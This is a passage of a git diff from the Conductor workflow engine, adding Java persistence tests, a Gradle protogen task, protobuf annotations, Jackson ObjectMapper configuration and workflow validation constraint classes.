getExecutionDAO().getWorkflow(workflow.getWorkflowId(), true); + assertEquals(workflowId, workflowWithTasks.getWorkflowId()); + assertEquals(numTasks, workflowWithTasks.getTasks().size()); + + WorkflowModel found = getExecutionDAO().getWorkflow(workflowId, false); + assertTrue(found.getTasks().isEmpty()); + + workflow.getTasks().clear(); + assertEquals(workflow, found); + + workflow.getInput().put("updated", true); + getExecutionDAO().updateWorkflow(workflow); + found = getExecutionDAO().getWorkflow(workflowId); + assertNotNull(found); + assertTrue(found.getInput().containsKey("updated")); + assertEquals(true, found.getInput().get("updated")); + + List running = + getExecutionDAO() + .getRunningWorkflowIds( + workflow.getWorkflowName(), workflow.getWorkflowVersion()); + assertNotNull(running); + assertTrue(running.isEmpty()); + + workflow.setStatus(WorkflowModel.Status.RUNNING); + getExecutionDAO().updateWorkflow(workflow); + + running = + getExecutionDAO() + .getRunningWorkflowIds( + workflow.getWorkflowName(), workflow.getWorkflowVersion()); + assertNotNull(running); + assertEquals(1, running.size()); + assertEquals(workflow.getWorkflowId(), running.get(0)); + + List pending = + getExecutionDAO() + .getPendingWorkflowsByType( + workflow.getWorkflowName(), workflow.getWorkflowVersion()); + assertNotNull(pending); + assertEquals(1, pending.size()); + assertEquals(3, pending.get(0).getTasks().size()); + pending.get(0).getTasks().clear(); + assertEquals(workflow, pending.get(0)); + + workflow.setStatus(WorkflowModel.Status.COMPLETED); + getExecutionDAO().updateWorkflow(workflow); + running = + getExecutionDAO() + .getRunningWorkflowIds( + workflow.getWorkflowName(), workflow.getWorkflowVersion()); + assertNotNull(running); + assertTrue(running.isEmpty()); + + List bytime = + getExecutionDAO() + .getWorkflowsByType( + workflow.getWorkflowName(), + System.currentTimeMillis(), + System.currentTimeMillis() + 100); + assertNotNull(bytime); + assertTrue(bytime.isEmpty()); + + bytime = + getExecutionDAO() + .getWorkflowsByType( + workflow.getWorkflowName(), + workflow.getCreateTime() - 10, + workflow.getCreateTime() + 10); + assertNotNull(bytime); + assertEquals(1, bytime.size()); + } + + protected WorkflowModel createTestWorkflow() { + WorkflowDef def = new WorkflowDef(); + def.setName("Junit Workflow"); + def.setVersion(3); + def.setSchemaVersion(2); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(def); + workflow.setCorrelationId("correlationX"); + workflow.setCreatedBy("junit_tester"); + workflow.setEndTime(200L); + + Map input = new HashMap<>(); + input.put("param1", "param1 value"); + input.put("param2", 100); + workflow.setInput(input); + + Map output = new HashMap<>(); + output.put("ouput1", "output 1 value"); + output.put("op2", 300); + workflow.setOutput(output); + + workflow.setOwnerApp("workflow"); + workflow.setParentWorkflowId("parentWorkflowId"); + workflow.setParentWorkflowTaskId("parentWFTaskId"); + workflow.setReasonForIncompletion("missing recipe"); + workflow.setReRunFromWorkflowId("re-run from id1"); + workflow.setCreateTime(90L); + workflow.setStatus(WorkflowModel.Status.FAILED); + workflow.setWorkflowId(UUID.randomUUID().toString()); + + List tasks = new LinkedList<>(); + + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId(UUID.randomUUID().toString()); + task.setReferenceTaskName("t1"); + task.setWorkflowInstanceId(workflow.getWorkflowId()); + task.setTaskDefName("task1"); + + TaskModel task2 = new TaskModel(); + task2.setScheduledTime(2L); + task2.setSeq(2); + task2.setTaskId(UUID.randomUUID().toString()); + task2.setReferenceTaskName("t2"); + task2.setWorkflowInstanceId(workflow.getWorkflowId()); + task2.setTaskDefName("task2"); + + TaskModel task3 = new TaskModel(); + task3.setScheduledTime(2L); + task3.setSeq(3); + task3.setTaskId(UUID.randomUUID().toString()); + task3.setReferenceTaskName("t3"); + task3.setWorkflowInstanceId(workflow.getWorkflowId()); + task3.setTaskDefName("task3"); + + tasks.add(task); + tasks.add(task2); + tasks.add(task3); + + workflow.setTasks(tasks); + + workflow.setUpdatedBy("junit_tester"); + workflow.setUpdatedTime(800L); + + return workflow; + } + + protected List generateWorkflows(WorkflowModel base, int count) { + List workflowIds = new ArrayList<>(); + for (int i = 0; i < count; i++) { + String workflowId = UUID.randomUUID().toString(); + base.setWorkflowId(workflowId); + base.setCorrelationId("corr001"); + base.setStatus(WorkflowModel.Status.RUNNING); + getExecutionDAO().createWorkflow(base); + workflowIds.add(workflowId); + } + return workflowIds; + } +} diff --git a/common-persistence/src/test/java/com/netflix/conductor/dao/TestBase.java b/common-persistence/src/test/java/com/netflix/conductor/dao/TestBase.java new file mode 100644 index 0000000..7d1d141 --- /dev/null +++ b/common-persistence/src/test/java/com/netflix/conductor/dao/TestBase.java @@ -0,0 +1,15 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.dao; + +public class TestBase {} diff --git a/common/build.gradle b/common/build.gradle new file mode 100644 index 0000000..c6283e4 --- /dev/null +++ b/common/build.gradle @@ -0,0 +1,58 @@ +configurations { + annotationsProcessorCodegen +} + +dependencies { + implementation project(':conductor-annotations') + annotationsProcessorCodegen project(':conductor-annotations-processor') + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.boot:spring-boot-starter-validation' + + compileOnly "org.springdoc:springdoc-openapi-starter-webmvc-ui:${revSpringDoc}" + + implementation "org.apache.commons:commons-lang3" + + implementation "org.apache.bval:bval-jsr:${revBval}" + + implementation "com.google.protobuf:protobuf-java:${revProtoBuf}" + + implementation "com.fasterxml.jackson.core:jackson-databind:${revFasterXml}" + implementation "com.fasterxml.jackson.core:jackson-core:${revFasterXml}" + // https://github.com/FasterXML/jackson-modules-base/tree/master/afterburner + implementation "com.fasterxml.jackson.module:jackson-module-afterburner:${revFasterXml}" + implementation "com.fasterxml.jackson.module:jackson-module-kotlin:${revFasterXml}" + implementation "com.fasterxml.jackson.datatype:jackson-datatype-jdk8:${revFasterXml}" + implementation "com.jayway.jsonpath:json-path:${revJsonPath}" + + testImplementation 'org.springframework.boot:spring-boot-starter-validation' + testImplementation "org.springdoc:springdoc-openapi-starter-webmvc-ui:${revSpringDoc}" +} + +/* + * Copyright 2023 Conductor authors + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ + +task protogen(dependsOn: jar, type: JavaExec) { + classpath configurations.annotationsProcessorCodegen + mainClass = "com.netflix.conductor.annotationsprocessor.protogen.ProtoGenTask" + args( + "conductor.proto", + "com.netflix.conductor.proto", + "github.com/netflix/conductor/client/gogrpc/conductor/model", + "${rootDir}/grpc/src/main/proto", + "${rootDir}/grpc/src/main/java/com/netflix/conductor/grpc", + "com.netflix.conductor.grpc", + jar.archivePath, + "com.netflix.conductor.common", + ) +} diff --git a/common/src/main/java/com/netflix/conductor/annotations/protogen/ProtoEnum.java b/common/src/main/java/com/netflix/conductor/annotations/protogen/ProtoEnum.java new file mode 100644 index 0000000..c07e679 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/annotations/protogen/ProtoEnum.java @@ -0,0 +1,26 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotations.protogen; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * ProtoEnum annotates an enum type that will be exposed via the GRPC API as a native Protocol + * Buffers enum. + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.TYPE) +public @interface ProtoEnum {} diff --git a/common/src/main/java/com/netflix/conductor/annotations/protogen/ProtoField.java b/common/src/main/java/com/netflix/conductor/annotations/protogen/ProtoField.java new file mode 100644 index 0000000..a61bb5e --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/annotations/protogen/ProtoField.java @@ -0,0 +1,36 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotations.protogen; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * ProtoField annotates a field inside an struct with metadata on how to expose it on its + * corresponding Protocol Buffers struct. For a field to be exposed in a ProtoBuf struct, the + * containing struct must also be annotated with a {@link ProtoMessage} or {@link ProtoEnum} tag. + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.FIELD) +public @interface ProtoField { + /** + * Mandatory. Sets the Protocol Buffer ID for this specific field. Once a field has been + * annotated with a given ID, the ID can never change to a different value or the resulting + * Protocol Buffer struct will not be backwards compatible. + * + * @return the numeric ID for the field + */ + int id(); +} diff --git a/common/src/main/java/com/netflix/conductor/annotations/protogen/ProtoMessage.java b/common/src/main/java/com/netflix/conductor/annotations/protogen/ProtoMessage.java new file mode 100644 index 0000000..45fa884 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/annotations/protogen/ProtoMessage.java @@ -0,0 +1,51 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.annotations.protogen; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +/** + * ProtoMessage annotates a given Java class so it becomes exposed via the GRPC API as a native + * Protocol Buffers struct. The annotated class must be a POJO. + */ +@Retention(RetentionPolicy.RUNTIME) +@Target(ElementType.TYPE) +public @interface ProtoMessage { + /** + * Sets whether the generated mapping code will contain a helper to translate the POJO for this + * class into the equivalent ProtoBuf object. + * + * @return whether this class will generate a mapper to ProtoBuf objects + */ + boolean toProto() default true; + + /** + * Sets whether the generated mapping code will contain a helper to translate the ProtoBuf + * object for this class into the equivalent POJO. + * + * @return whether this class will generate a mapper from ProtoBuf objects + */ + boolean fromProto() default true; + + /** + * Sets whether this is a wrapper class that will be used to encapsulate complex nested type + * interfaces. Wrapper classes are not directly exposed by the ProtoBuf API and must be mapped + * manually. + * + * @return whether this is a wrapper class + */ + boolean wrapper() default false; +} diff --git a/common/src/main/java/com/netflix/conductor/common/config/ObjectMapperBuilderConfiguration.java b/common/src/main/java/com/netflix/conductor/common/config/ObjectMapperBuilderConfiguration.java new file mode 100644 index 0000000..40b781e --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/config/ObjectMapperBuilderConfiguration.java @@ -0,0 +1,35 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.config; + +import org.springframework.boot.autoconfigure.jackson.Jackson2ObjectMapperBuilderCustomizer; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import static com.fasterxml.jackson.databind.DeserializationFeature.FAIL_ON_IGNORED_PROPERTIES; +import static com.fasterxml.jackson.databind.DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES; +import static com.fasterxml.jackson.databind.DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES; + +@Configuration +public class ObjectMapperBuilderConfiguration { + + /** Disable features like {@link ObjectMapperProvider#getObjectMapper()}. */ + @Bean + public Jackson2ObjectMapperBuilderCustomizer conductorJackson2ObjectMapperBuilderCustomizer() { + return builder -> + builder.featuresToDisable( + FAIL_ON_UNKNOWN_PROPERTIES, + FAIL_ON_IGNORED_PROPERTIES, + FAIL_ON_NULL_FOR_PRIMITIVES); + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/config/ObjectMapperConfiguration.java b/common/src/main/java/com/netflix/conductor/common/config/ObjectMapperConfiguration.java new file mode 100644 index 0000000..9d698cb --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/config/ObjectMapperConfiguration.java @@ -0,0 +1,39 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.config; + +import org.springframework.context.annotation.Configuration; + +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.module.afterburner.AfterburnerModule; +import jakarta.annotation.PostConstruct; + +@Configuration +public class ObjectMapperConfiguration { + + private final ObjectMapper objectMapper; + + public ObjectMapperConfiguration(ObjectMapper objectMapper) { + this.objectMapper = objectMapper; + } + + /** Set default property inclusion like {@link ObjectMapperProvider#getObjectMapper()}. */ + @PostConstruct + public void customizeDefaultObjectMapper() { + objectMapper.setDefaultPropertyInclusion( + JsonInclude.Value.construct( + JsonInclude.Include.NON_NULL, JsonInclude.Include.ALWAYS)); + objectMapper.registerModule(new AfterburnerModule()); + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/config/ObjectMapperProvider.java b/common/src/main/java/com/netflix/conductor/common/config/ObjectMapperProvider.java new file mode 100644 index 0000000..276cfdd --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/config/ObjectMapperProvider.java @@ -0,0 +1,67 @@ +/* + * Copyright 2021 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.config; + +import com.netflix.conductor.common.jackson.JsonProtoModule; + +import com.fasterxml.jackson.annotation.JsonInclude; +import com.fasterxml.jackson.databind.DeserializationFeature; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.SerializationFeature; +import com.fasterxml.jackson.datatype.jdk8.Jdk8Module; +import com.fasterxml.jackson.datatype.jsr310.JavaTimeModule; +import com.fasterxml.jackson.module.afterburner.AfterburnerModule; +import com.fasterxml.jackson.module.kotlin.KotlinModule; + +/** + * A Factory class for creating a customized {@link ObjectMapper}. This is only used by the + * conductor-client module and tests that rely on {@link ObjectMapper}. See + * TestObjectMapperConfiguration. + */ +public class ObjectMapperProvider { + + private static final ObjectMapper objectMapper = _getObjectMapper(); + + /** + * The customizations in this method are configured using {@link + * org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration} + * + *

Customizations are spread across, 1. {@link ObjectMapperBuilderConfiguration} 2. {@link + * ObjectMapperConfiguration} 3. {@link JsonProtoModule} + * + *

IMPORTANT: Changes in this method need to be also performed in the default {@link + * ObjectMapper} that Spring Boot creates. + * + * @see org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration + */ + public ObjectMapper getObjectMapper() { + return objectMapper; + } + + private static ObjectMapper _getObjectMapper() { + final ObjectMapper objectMapper = new ObjectMapper(); + objectMapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); + objectMapper.configure(DeserializationFeature.FAIL_ON_IGNORED_PROPERTIES, false); + objectMapper.configure(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES, false); + objectMapper.setDefaultPropertyInclusion( + JsonInclude.Value.construct( + JsonInclude.Include.NON_NULL, JsonInclude.Include.ALWAYS)); + objectMapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false); + objectMapper.registerModule(new JsonProtoModule()); + objectMapper.registerModule(new Jdk8Module()); + objectMapper.registerModule(new JavaTimeModule()); + objectMapper.registerModule(new AfterburnerModule()); + objectMapper.registerModule(new KotlinModule.Builder().build()); + return objectMapper; + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/constraints/NoSemiColonConstraint.java b/common/src/main/java/com/netflix/conductor/common/constraints/NoSemiColonConstraint.java new file mode 100644 index 0000000..b3482c9 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/constraints/NoSemiColonConstraint.java @@ -0,0 +1,59 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.constraints; + +import java.lang.annotation.Documented; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import org.apache.commons.lang3.StringUtils; + +import jakarta.validation.Constraint; +import jakarta.validation.ConstraintValidator; +import jakarta.validation.ConstraintValidatorContext; +import jakarta.validation.Payload; + +import static java.lang.annotation.ElementType.FIELD; +import static java.lang.annotation.ElementType.PARAMETER; + +/** This constraint checks semi-colon is not allowed in a given string. */ +@Documented +@Constraint(validatedBy = NoSemiColonConstraint.NoSemiColonValidator.class) +@Target({FIELD, PARAMETER}) +@Retention(RetentionPolicy.RUNTIME) +public @interface NoSemiColonConstraint { + + String message() default "String: cannot contain the following set of characters: ':'"; + + Class[] groups() default {}; + + Class[] payload() default {}; + + class NoSemiColonValidator implements ConstraintValidator { + + @Override + public void initialize(NoSemiColonConstraint constraintAnnotation) {} + + @Override + public boolean isValid(String value, ConstraintValidatorContext context) { + boolean valid = true; + + if (!StringUtils.isEmpty(value) && value.contains(":")) { + valid = false; + } + + return valid; + } + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/constraints/OwnerEmailMandatoryConstraint.java b/common/src/main/java/com/netflix/conductor/common/constraints/OwnerEmailMandatoryConstraint.java new file mode 100644 index 0000000..297d614 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/constraints/OwnerEmailMandatoryConstraint.java @@ -0,0 +1,63 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.constraints; + +import java.lang.annotation.Documented; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import org.apache.commons.lang3.StringUtils; + +import jakarta.validation.Constraint; +import jakarta.validation.ConstraintValidator; +import jakarta.validation.ConstraintValidatorContext; +import jakarta.validation.Payload; + +import static java.lang.annotation.ElementType.FIELD; +import static java.lang.annotation.ElementType.TYPE; + +/** + * This constraint class validates that owner email is non-empty, but only if configuration says + * owner email is mandatory. + */ +@Documented +@Constraint(validatedBy = OwnerEmailMandatoryConstraint.WorkflowTaskValidValidator.class) +@Target({TYPE, FIELD}) +@Retention(RetentionPolicy.RUNTIME) +public @interface OwnerEmailMandatoryConstraint { + + String message() default "ownerEmail cannot be empty"; + + Class[] groups() default {}; + + Class[] payload() default {}; + + class WorkflowTaskValidValidator + implements ConstraintValidator { + + @Override + public void initialize(OwnerEmailMandatoryConstraint constraintAnnotation) {} + + @Override + public boolean isValid(String ownerEmail, ConstraintValidatorContext context) { + return !ownerEmailMandatory || !StringUtils.isEmpty(ownerEmail); + } + + private static boolean ownerEmailMandatory = true; + + public static void setOwnerEmailMandatory(boolean ownerEmailMandatory) { + WorkflowTaskValidValidator.ownerEmailMandatory = ownerEmailMandatory; + } + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/constraints/TaskReferenceNameUniqueConstraint.java b/common/src/main/java/com/netflix/conductor/common/constraints/TaskReferenceNameUniqueConstraint.java new file mode 100644 index 0000000..3d325f5 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/constraints/TaskReferenceNameUniqueConstraint.java @@ -0,0 +1,117 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.constraints; + +import java.lang.annotation.Documented; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.HashMap; +import java.util.List; + +import org.apache.commons.lang3.mutable.MutableBoolean; + +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.utils.ConstraintParamUtil; + +import jakarta.validation.Constraint; +import jakarta.validation.ConstraintValidator; +import jakarta.validation.ConstraintValidatorContext; +import jakarta.validation.Payload; + +import static java.lang.annotation.ElementType.TYPE; + +/** + * This constraint class validates following things. + * + *

    + *
  • 1. WorkflowDef is valid or not + *
  • 2. Make sure taskReferenceName used across different tasks are unique + *
  • 3. Verify inputParameters points to correct tasks or not + *
+ */ +@Documented +@Constraint(validatedBy = TaskReferenceNameUniqueConstraint.TaskReferenceNameUniqueValidator.class) +@Target({TYPE}) +@Retention(RetentionPolicy.RUNTIME) +public @interface TaskReferenceNameUniqueConstraint { + + String message() default ""; + + Class[] groups() default {}; + + Class[] payload() default {}; + + class TaskReferenceNameUniqueValidator + implements ConstraintValidator { + + @Override + public void initialize(TaskReferenceNameUniqueConstraint constraintAnnotation) {} + + @Override + public boolean isValid(WorkflowDef workflowDef, ConstraintValidatorContext context) { + context.disableDefaultConstraintViolation(); + + boolean valid = true; + + // check if taskReferenceNames are unique across tasks or not + HashMap taskReferenceMap = new HashMap<>(); + for (WorkflowTask workflowTask : workflowDef.collectTasks()) { + if (taskReferenceMap.containsKey(workflowTask.getTaskReferenceName())) { + String message = + String.format( + "taskReferenceName: %s should be unique across tasks for a given workflowDefinition: %s", + workflowTask.getTaskReferenceName(), workflowDef.getName()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + valid = false; + } else { + taskReferenceMap.put(workflowTask.getTaskReferenceName(), 1); + } + } + // check inputParameters points to valid taskDef + return valid & verifyTaskInputParameters(context, workflowDef); + } + + private boolean verifyTaskInputParameters( + ConstraintValidatorContext context, WorkflowDef workflow) { + MutableBoolean valid = new MutableBoolean(); + valid.setValue(true); + + if (workflow.getTasks() == null) { + return valid.getValue(); + } + + workflow.getTasks().stream() + .filter(workflowTask -> workflowTask.getInputParameters() != null) + .forEach( + workflowTask -> { + List errors = + ConstraintParamUtil.validateInputParam( + workflowTask.getInputParameters(), + workflowTask.getName(), + workflow); + errors.forEach( + message -> + context.buildConstraintViolationWithTemplate( + message) + .addConstraintViolation()); + if (errors.size() > 0) { + valid.setValue(false); + } + }); + + return valid.getValue(); + } + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/constraints/TaskTimeoutConstraint.java b/common/src/main/java/com/netflix/conductor/common/constraints/TaskTimeoutConstraint.java new file mode 100644 index 0000000..43a7cd8 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/constraints/TaskTimeoutConstraint.java @@ -0,0 +1,86 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.constraints; + +import java.lang.annotation.Documented; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; + +import jakarta.validation.Constraint; +import jakarta.validation.ConstraintValidator; +import jakarta.validation.ConstraintValidatorContext; +import jakarta.validation.Payload; + +import static java.lang.annotation.ElementType.TYPE; + +/** + * This constraint checks for a given task responseTimeoutSeconds should be less than + * timeoutSeconds. + */ +@Documented +@Constraint(validatedBy = TaskTimeoutConstraint.TaskTimeoutValidator.class) +@Target({TYPE}) +@Retention(RetentionPolicy.RUNTIME) +public @interface TaskTimeoutConstraint { + + String message() default ""; + + Class[] groups() default {}; + + Class[] payload() default {}; + + class TaskTimeoutValidator implements ConstraintValidator { + + @Override + public void initialize(TaskTimeoutConstraint constraintAnnotation) {} + + @Override + public boolean isValid(TaskDef taskDef, ConstraintValidatorContext context) { + context.disableDefaultConstraintViolation(); + + boolean valid = true; + + if (taskDef.getTimeoutSeconds() > 0) { + if (taskDef.getResponseTimeoutSeconds() > taskDef.getTimeoutSeconds()) { + valid = false; + String message = + String.format( + "TaskDef: %s responseTimeoutSeconds: %d must be less than timeoutSeconds: %d", + taskDef.getName(), + taskDef.getResponseTimeoutSeconds(), + taskDef.getTimeoutSeconds()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + } + } + + // Check if timeoutSeconds is greater than totalTimeoutSeconds + if (taskDef.getTimeoutSeconds() > 0 + && taskDef.getTotalTimeoutSeconds() > 0 + && taskDef.getTimeoutSeconds() > taskDef.getTotalTimeoutSeconds()) { + valid = false; + String message = + String.format( + "TaskDef: %s timeoutSeconds: %d must be less than or equal to totalTimeoutSeconds: %d", + taskDef.getName(), + taskDef.getTimeoutSeconds(), + taskDef.getTotalTimeoutSeconds()); + context.buildConstraintViolationWithTemplate(message).addConstraintViolation(); + } + + return valid; + } + } +} diff --git a/common/src/main/java/com/netflix/conductor/common/constraints/ValidNameConstraint.java b/common/src/main/java/com/netflix/conductor/common/constraints/ValidNameConstraint.java new file mode 100644 index 0000000..41af141 --- /dev/null +++ b/common/src/main/java/com/netflix/conductor/common/constraints/ValidNameConstraint.java @@ -0,0 +1,72 @@ +/* + * Copyright 2020 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.common.constraints; + +import java.lang.annotation.Documented; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; + +import org.springframework.beans.factory.annotation.Value; + +import jakarta.validation.Constraint; +import jakarta.validation.ConstraintValidator; +import jakarta.validation.ConstraintValidatorContext; +import jakarta.validation.Payload; + +import static java.lang.annotation.ElementType.FIELD; + +/** + * This constraint class validates following things. + * + *

    + *
  • 1. Name is valid or not + *
